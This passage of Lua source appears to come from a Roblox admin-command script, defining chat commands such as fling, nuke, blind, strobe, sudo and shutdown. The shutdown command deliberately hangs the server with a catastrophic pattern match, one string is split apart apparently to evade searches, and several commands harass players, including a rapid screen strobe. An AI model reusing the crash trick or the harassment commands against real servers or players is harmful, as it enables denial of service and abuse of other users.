6353 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6354 local List,Correlate,SoundName = {},{},{}
6355 for Name,Info in pairs(SoundList) do
6356 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6357 table.insert(List, View)
6358 Correlate[View] = Info[1]
6359 end
6360
6361 local CanClick = true
6362 if Rank == "Member" then CanClick = false end
6363 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6364 Clicked.Event:connect(function(ClickName)
6365 local OldSoundId = nil
6366 SOUND:StopGlobalSound()
6367 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6368 SOUND:PlayGlobalSound(Correlate[ClickName])
6369 end
6370 end)
6371 end};
6372
6373 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6374 SOUND:SyncSoundList(Speaker)
6375 end};
6376
6377 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6378 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6379 if Answer == "Yes" then
6380 Server.Workspace.Terrain:Clear()
6381 end
6382 end};
6383
6384 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6385 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6386 if Answer == "Yes" then
6387 for _,Obj in pairs(Workspace:GetChildren()) do
6388 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6389 Obj:Destroy()
6390 end
6391 end
6392 end
6393 end};
6394
6395 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6396 CORE:MakeBase()
6397 end};
6398
6399 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6400 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6401 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6402 CustomSounds = {}
6403 end
6404 if tostring(Arguments[1]) then
6405 local Request = MARKET:GetItemInfo(Arguments[1])
6406 if Request.AssetTypeId == 3 then
6407 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6408 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6409 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6410 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6411 else
6412 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6413 end
6414 end
6415 end};
6416
6417 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6418 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6419 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6420 CustomSounds = {}
6421 end
6422
6423 local Removed = {}
6424 for Num,Data in pairs(CustomSounds) do
6425 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6426 table.insert(Removed, Data[1])
6427 table.remove(CustomSounds, Num)
6428 end
6429 end
6430
6431 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6432
6433 SOUND:SyncSoundList()
6434
6435 if #Removed > 0 then
6436 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6437 else
6438 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6439 end
6440 end};
6441
6442 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6443 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6444 if Answer == "Yes" then
6445 Server.GDS:SetAsync("MML Custom Sounds", {})
6446 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6447 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6448 end
6449 end};
6450
6451 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6452 local Players = STRING:Scan(Arguments[1], Speaker)
6453 local SpeakerTesting = false
6454 for _,Player in pairs(Players) do
6455 if Player == Speaker then SpeakerTesting = true end
6456 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6457 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6458 --wait(10)
6459 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6460 end)() end
6461 end
6462 if SpeakerTesting == false then
6463 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6464 end
6465 end};
6466
6467 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6468 local Players = STRING:Scan(Arguments[1], Speaker)
6469 local Compile = {}
6470 for _,Player in pairs(Players) do
6471 local PlayerInfo = ClientInfo[Player.Name]
6472 if PlayerInfo then
6473 if PlayerInfo.Benchmark then
6474 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6475 else
6476 table.insert(Compile, Player.Name..": No score")
6477 end
6478 end
6479 end
6480 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6481 end};
6482
6483 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6484 local Players = STRING:Scan(Arguments[1], Speaker)
6485 for _,Player in pairs(Players) do
6486 CORE:Chatted(Arguments[2], Player, true)
6487 end
6488 end};
6489
6490 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6491 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6492 end};
6493
6494 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6495 local Players = STRING:Scan(Arguments[1], Speaker)
6496 for _,Player in pairs(Players) do
6497 if Player.Character ~= nil then
6498 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6499 if Player.Character.Torso:FindFirstChild("Neck") then
6500 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6501 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6502 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6503 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6504 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6505 end
6506 end
6507 end
6508 end
6509 end};
6510
6511 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6512 local Players = STRING:Scan(Arguments[1], Speaker)
6513 for _,Player in pairs(Players) do
6514 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6515 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6516 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6517 end
6518 end
6519 end};
6520
6521 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6522 local Players = STRING:Scan(Arguments[1], Speaker)
6523 for _,Player in pairs(Players) do
6524 local _,RankNum = RANK:GetRank(Player)
6525 if RankNum <= RANK:ConvertRank(Rank) then
6526 CORE:FlingPlayer(Player)
6527 end
6528 end
6529 end};
6530
6531 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6532 local Players = STRING:Scan(Arguments[1], Speaker)
6533 for _,Player in pairs(Players) do
6534 local _,RankNum = RANK:GetRank(Player)
6535 if RankNum <= RANK:ConvertRank(Rank) then
6536 Flings[Player.Name] = true
6537 CORE:FlingPlayer(Player)
6538 end
6539 end
6540 end};
6541
6542 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6543 local Players = STRING:Scan(Arguments[1], Speaker)
6544 for _,Player in pairs(Players) do
6545 local _,RankNum = RANK:GetRank(Player)
6546 if RankNum <= RANK:ConvertRank(Rank) then
6547 Flings[Player.Name] = nil
6548 end
6549 end
6550 end};
6551
6552 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6553 local Players = STRING:Scan(Arguments[1], Speaker)
6554 for _,Player in pairs(Players) do
6555 CORE:Nuke(Player)
6556 end
6557 end};
6558
6559 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6560 local Players = STRING:Scan(Arguments[1], Speaker)
6561 for _,Player in pairs(Players) do
6562 Beeps[Player.Name] = true
6563 SOUND:BeepPlayer(Player)
6564 end
6565 end};
6566
6567 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6568 local Players = STRING:Scan(Arguments[1], Speaker)
6569 for _,Player in pairs(Players) do
6570 if Player.PlayerGui then
6571 Beeps[Player.Name] = nil
6572 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6573 if Obj.Name == "Annoy" then
6574 Obj:Stop()
6575 Obj:Destroy()
6576 end
6577 end
6578 end
6579 end
6580 end};
6581
6582 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6583 local Time = Arguments[1]
6584 if Time == "day" or Time == "noon" then Time = "12" end
6585 if Time == "night" or Time == "midnight" then Time = "0" end
6586 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6587 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6588 if Time == "afternoon" then Time = "15:30" end
6589 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6590 end};
6591
6592 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6593 local Players = STRING:Scan(Arguments[1], Speaker)
6594 for _,Player in pairs(Players) do
6595 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6596 end
6597 end};
6598
6599 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6600 local AbuseMode = false
6601 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6602 local Players = STRING:Scan(Arguments[1], Speaker)
6603 for _,Player in pairs(Players) do
6604 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6605 end
6606 end};
6607
6608 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6609 local Players = STRING:Scan(Arguments[1], Speaker)
6610 for _,Player in pairs(Players) do
6611 CORE:Insert(125013769, Player.Backpack, true)
6612 end
6613 end};
6614
6615 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6616 local Players = STRING:Scan(Arguments[1], Speaker)
6617 for _,Player in pairs(Players) do
6618 if Player.Character then
6619 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6620 end
6621 end
6622 end};
6623
6624 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6625 CORE:ResetLighting()
6626 repeat
6627 Server.Lighting.Ambient = Color3.new(1,1,1)
6628 Server.Lighting.FogColor = Color3.new(1,1,1)
6629 Server.Lighting.Brightness = 1
6630 Server.Lighting.TimeOfDay = 14
6631 wait(0.1)
6632 Server.Lighting.Ambient = Color3.new(0,0,0)
6633 Server.Lighting.FogColor = Color3.new(0,0,0)
6634 Server.Lighting.Brightness = 0
6635 Server.Lighting.TimeOfDay = 0
6636 wait(0.1)
6637 until ModLighting == false
6638 end};
6639
6640 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6641 CORE:ResetLighting()
6642 repeat
6643 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6644 Server.Lighting.Ambient = Color
6645 Server.Lighting.FogColor = Color
6646 Server.Lighting.TimeOfDay = 0
6647 Server.Lighting.FogEnd = 500
6648 wait(0.1)
6649 until ModLighting == false
6650 end};
6651
6652 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6653 CORE:FixLighting()
6654 end};
6655
6656 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6657 local Players = STRING:Scan(Arguments[1], Speaker)
6658 for _,Player in pairs(Players) do
6659 if Player:FindFirstChild("PlayerGui") then
6660 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6661 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6662 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6663 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6664 end
6665 end
6666 end};
6667
6668 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6669 local Players = STRING:Scan(Arguments[1], Speaker)
6670 for _,Player in pairs(Players) do
6671 if Player:FindFirstChild("PlayerGui") then
6672 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6673 end
6674 end
6675 end};
6676
6677 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6678 local Players = STRING:Scan(Arguments[1], Speaker)
6679 for _,Player in pairs(Players) do
6680 if Player:FindFirstChild("PlayerGui") then
6681 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6682 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6683 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6684 end
6685 end
6686 end};
6687
6688 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6689 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6690 if Suc then
6691 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6692 else
6693 Server.TS:Teleport(game.PlaceId, Speaker)
6694 end
6695 end};
6696
6697 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6698 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6699 end};
6700
6701 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6702 local NewAbuse = Arguments[1]
6703 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6704 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6705 end
6706
6707 local Match = false
6708 for _,AbuseCmd in pairs(Settings.AbuseList) do
6709 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6710 Match = true
6711 break
6712 end
6713 end
6714 if not Match then
6715 table.insert(Settings.AbuseList, NewAbuse)
6716 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6717 else
6718 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6719 end
6720 CORE:SetAbuseCommands()
6721 end};
6722
6723 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6724 local NewAbuse = Arguments[1]
6725 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6726 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6727 end
6728
6729 local Removed = false
6730 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6731 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6732 Removed = true
6733 table.remove(Settings.AbuseList, Num)
6734 end
6735 end
6736 if Removed then
6737 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6738 else
6739 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6740 end
6741 CORE:SetAbuseCommands()
6742 end};
6743
6744 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6745 local Players = STRING:Scan(Arguments[1], Speaker)
6746 for _,Player in pairs(Players) do
6747 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6748 Player.Character.Humanoid.MaxHealth = math.huge
6749 Player.Character.Humanoid.Health = math.huge
6750 end
6751 end
6752 end};
6753
6754 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6755 local Players = STRING:Scan(Arguments[1], Speaker)
6756 for _,Player in pairs(Players) do
6757 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6758 if Player.Character.Humanoid.MaxHealth == math.huge then
6759 Player.Character.Humanoid.MaxHealth = 100
6760 Player.Character.Humanoid.Health = 100
6761 else
6762 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6763 end
6764 end
6765 end
6766 end};
6767
6768 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6769 local Players = STRING:Scan(Arguments[1], Speaker)
6770 for _,Player in pairs(Players) do
6771 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6772 local Char = Player.Character
6773 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6774 end
6775 end
6776 end};
6777
6778 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6779 if tonumber(Arguments[2]) then
6780 local Players = STRING:Scan(Arguments[1], Speaker)
6781 for _,Player in pairs(Players) do
6782 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6783 Player.Character.Humanoid.Health = Arguments[2]
6784 end
6785 end
6786 end
6787 end};
6788
6789 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6790 if tonumber(Arguments[2]) then
6791 local Players = STRING:Scan(Arguments[1], Speaker)
6792 for _,Player in pairs(Players) do
6793 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6794 local Speed = tonumber(Arguments[2])
6795 if Speed then
6796 if Rank == "Member" then
6797 if Speed > 1000 then Speed = 1000
6798 elseif Speed < -1000 then Speed = -1000 end
6799 end
6800 Player.Character.Humanoid.WalkSpeed = Speed
6801 end
6802 end
6803 end
6804 end
6805 end};
6806
6807 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6808 if tonumber(Arguments[2]) then
6809 local Players = STRING:Scan(Arguments[1], Speaker)
6810 for _,Player in pairs(Players) do
6811 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6812 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6813 end
6814 end
6815 end
6816 end};
6817
6818 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6819 local Players = STRING:Scan(Arguments[1], Speaker)
6820 for _,Player in pairs(Players) do
6821 CORE:Fly(Player, 10000)
6822 end
6823 end};
6824
6825 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6826 local Players = STRING:Scan(Arguments[1], Speaker)
6827 for _,Player in pairs(Players) do
6828 CORE:Fly(Player, 1000000)
6829 end
6830 end};
6831
6832 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6833 local Players = STRING:Scan(Arguments[1], Speaker)
6834 for _,Player in pairs(Players) do
6835 if Player.Character then
6836 if Player.Character:FindFirstChild("StopMMLFly") then
6837 Player.Character.StopMMLFly:InvokeClient(Player)
6838 end
6839 end
6840 end
6841 end};
6842
6843 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6844 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
6845 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6846 end};
6847
6848 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6849 local Players = STRING:Scan(Arguments[1], Speaker)
6850 for _,Player in pairs(Players) do
6851 CORE:GiveTools(Player, Arguments[2])
6852 end
6853 end};
6854
6855 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6856 local List = {}
6857 for _,Region in pairs(ToolRegions) do
6858 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6859 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6860 end)
6861 end
6862
6863 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6864 end};
6865
6866 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6867 local Players = STRING:Scan(Arguments[1], Speaker)
6868 for _,Player in pairs(Players) do
6869 CORE:GiveTools(Player, "btools")
6870 end
6871 end};
6872
6873 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6874 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6875 for _,Player in pairs(Server.Players:GetPlayers()) do
6876 Player:Kick()
6877 end
6878 Server.Workspace:ClearAllChildren()
6879 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6880 end};
6881
6882 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6883 local Players = STRING:Scan(Arguments[1], Speaker)
6884 for _,Player in pairs(Players) do
6885 CORE:Scale(Player, Arguments[2])
6886 end
6887 end};
6888
6889 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6890 local Players = STRING:Scan(Arguments[1], Speaker)
6891 for _,Player in pairs(Players) do
6892 CORE:Scale(Player, 50)
6893 end
6894 end};
6895
6896 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6897 local Players = STRING:Scan(Arguments[1], Speaker)
6898 for _,Player in pairs(Players) do
6899 CORE:Scale(Player, 70)
6900 end
6901 end, Hidden = true};
6902
6903 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6904 local Players = STRING:Scan(Arguments[1], Speaker)
6905 for _,Player in pairs(Players) do
6906 CORE:Scale(Player, 500)
6907 end
6908 end};
6909
6910 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6911 local Players = STRING:Scan(Arguments[1], Speaker)
6912 for _,Player in pairs(Players) do
6913 if Player.Character then
6914 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6915 Obj.Reflectance = 0.5
6916 Obj.BrickColor = BrickColor.new("New Yeller")
6917 end)
6918 end
6919 end
6920 end};
6921
6922 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6923 local Players = STRING:Scan(Arguments[1], Speaker)
6924 for _,Player in pairs(Players) do
6925 if Player.Character then
6926 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6927 Obj.Reflectance = 0.5
6928 end)
6929 end
6930 end
6931 end};
6932
6933 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6934 local Players = STRING:Scan(Arguments[1], Speaker)
6935 for _,Player in pairs(Players) do
6936 if Player.Character then
6937 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6938 Obj.Transparency = 0.5
6939 Obj.Reflectance = 0
6940 Obj.BrickColor = BrickColor.new("Institutional white")
6941 end)
6942 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
6943 Obj.Transparency = 0.5
6944 end)
6945 end
6946 end
6947 end};
6948
6949 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
6950 local Players = STRING:Scan(Arguments[1], Speaker)
6951 for _,Player in pairs(Players) do
6952 if Player.Character then
6953 for _,Obj in pairs(Player.Character:GetChildren()) do
6954 local Valid = false
6955 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6956 if Valid == true then Obj:Destroy() end
6957 end
6958 end
6959 end
6960 end};
6961
6962 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
6963 local Players = STRING:Scan(Arguments[1], Speaker)
6964 for _,Player in pairs(Players) do
6965 if Player.Character then
6966 for _,Obj in pairs(Player.Character:GetChildren()) do
6967 local Valid = false
6968 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
6969 if Valid == true then Obj:Destroy() end
6970 end
6971 end
6972 end
6973 end};
6974
6975 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
6976 local Players = STRING:Scan(Arguments[1], Speaker)
6977 for _,Player in pairs(Players) do
6978 if Player.Character then
6979 for _,Obj in pairs(Player.Character:GetChildren()) do
6980 local Valid = false
6981 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6982 if Valid == true then Obj:Destroy() end
6983 end
6984 end
6985 end
6986 end};
6987
6988 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
6989 local Players = STRING:Scan(Arguments[1], Speaker)
6990 for _,Player in pairs(Players) do
6991 if Player.Character then
6992 for _,Obj in pairs(Player.Character:GetChildren()) do
6993 if Obj:IsA("Accoutrement") then
6994 Obj:Destroy()
6995 end
6996 end
6997 end
6998 end
6999 end};
7000
7001 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7002 local Players = STRING:Scan(Arguments[1], Speaker)
7003 for _,Player in pairs(Players) do
7004 Player:ClearCharacterAppearance()
7005 end
7006 end};
7007
